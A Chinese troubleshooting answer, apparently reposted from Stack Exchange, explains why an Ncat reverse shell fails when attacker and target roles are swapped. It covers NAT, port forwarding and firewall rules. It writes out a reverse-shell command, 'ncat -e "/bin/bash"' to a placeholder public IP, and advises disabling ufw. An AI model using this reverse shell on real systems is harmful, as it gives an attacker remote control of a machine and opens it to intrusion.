You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Ncat反向shell互换攻击与目标机器后无法建立连接求助

反向Shell互换角色后无法连接的诊断与解决

核心原因拆解

场景1能正常工作,是因为云服务器拥有公网IP且安全组开放了489端口,本地机作为主动发起连接的一方,出站请求通常不会被本地网络防火墙拦截;而场景2失败,主要是以下几个关键限制:

1. 本地机的NAT网络限制

绝大多数家庭/办公网络中的本地Linux机处于NAT(网络地址转换)环境下,没有直接对外的公网IP。云服务器作为客户端发起连接时,无法定位到你的本地监听端口——而场景1中本地机主动连接云服务器公网IP,路由器会自动生成临时NAT映射,所以能建立连接。

2. 云服务器的出站规则拦截

云服务器的安全组或系统防火墙可能默认限制了出站流量,尤其是非标准端口(489不属于HTTP、SSH这类常见端口),导致云服务器无法主动发起对本地机489端口的连接请求。

3. 本地机的入站防火墙阻挡

本地Linux机的防火墙(如ufw、iptables)默认会拒绝外部入站连接,即使你在本地监听了489端口,云服务器的连接请求也会被直接拦截。


分步解决方法

处理本地机无公网IP的问题

如果本地机在NAT网络下,需要在路由器上配置端口转发:

  • 登录路由器管理后台,找到「端口转发」或「虚拟服务器」选项
  • 将路由器公网IP的489端口,映射到本地Linux机的内网IP(例如192.168.3.10)的489端口
  • 此时云服务器发起连接时,目标IP需填写路由器的公网IP,而非本地机的内网IP

检查云服务器的出站规则

  • 登录云服务商控制台,查看安全组的出站规则,确保允许所有出站流量,或明确添加允许访问489/tcp端口的规则
  • 临时关闭云服务器防火墙测试:sudo ufw disable(Ubuntu系统),如果能连接,说明是防火墙规则导致的拦截

开放本地机的入站端口

  • 临时关闭本地防火墙测试:sudo ufw disable
  • 若测试成功,添加永久入站规则:sudo ufw allow 489/tcp

修正监听与连接命令

场景2的正确命令格式:

  • 本地攻击机监听(需监听所有网卡,而非仅内网IP):
    ncat -lnv 0.0.0.0 489
    
  • 云服务器目标机发起连接:
    ncat -e "/bin/bash" [你的路由器公网IP/本地公网IP] 489
    

验证技巧

先跳过反向Shell,用普通Ncat测试网络连通性:

  1. 本地机执行:ncat -lnv 489
  2. 云服务器执行:ncat [你的公网IP] 489
    如果双方能正常发送消息,说明网络连通性没问题,再添加-e参数启用Shell转发即可。

内容的提问来源于stack exchange,提问作者Uday Kiran

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.22 11:57:17